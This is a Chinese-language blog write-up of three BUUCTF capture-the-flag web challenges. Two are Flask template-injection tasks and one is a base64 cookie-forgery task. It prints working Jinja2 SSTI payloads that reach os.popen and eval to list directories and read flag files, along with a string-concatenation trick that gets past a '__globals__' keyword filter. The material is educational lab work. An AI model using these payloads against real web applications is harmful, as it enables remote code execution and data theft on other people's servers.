BUUCTF(19)

116 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[CSCCTF 2019 Qual]FlaskLight

一眼模板注入,F12看到变量名search,和GET

于是测试

?search={{7*7}}

执行了

于是我们

 a. 获取变量[]所属的类名 {{[].class}}

        页面回显 <type 'list'>

        b. 获取list所继承的基类名 {{[].class.base}}

        页面回显 <type 'object'>

        c. 获取所有继承自object的类 {{[].class.base.subclasses()}}

经过查询后,可以借助的类<class 'warnings.catch_warnings'>,没有内置os模块在第59位。<class 'site._Printer'> 内含os模块 在第71位,可以借助这些类来执行命令

71位的payload

看目录

  {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var 

看看flasklight

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}

app.py coomme_geeeett_youur_flek 

肯定是长的那个,我们直接读取一下

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}

但我试了没有成功不知道为啥

我们再看没含os的

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

        PS:由于使用['globals']会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式['glo'+'bals']

        b. 读取目录flasklight

          {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls  /flasklight').read()")}}

    cat

          {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat  /flasklight/coomme_geeeett_youur_flek ').read()")}}

贴一个博客,感觉可以看出上面os模块的为啥不行

www.cnblogs.com/Article-kel…

[watevrCTF-2019]Cookie Store

进去是个购买页面,显示我们钱50,是不够买flag的,抓包买一个1块钱的东西看一下

回显

eyJtb25leSI6IDQ4LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIiwgIll1bW15IGNob2NvbGF0ZSBjaGlwIGNvb2tpZSJdfQ==

base64解码一下

{"money": 48, "history": ["Yummy chocolate chip cookie", "Yummy chocolate chip cookie"]}

可以联想到是一个很简单的cookie伪造,我们解码后改一下需要的钱将id按顺序改成2

发包解码出现flag

[RootersCTF2019]I_<3_Flask

开局模板注入

由于不知道传参的变量名,所以利用了工具arjun来爆破url参数

爆破出来参数name

接下来就是

http://58551dce-c669-4230-8a03-dfba594caf8e.node4.buuoj.cn:81/?name={{7*7}}

回显49,说明可行

/?name={{().__class__.__bases__[0].__subclasses__()}}

进一步

name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

发现flag.txt

直接cat

?name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat flag.txt').read()")}}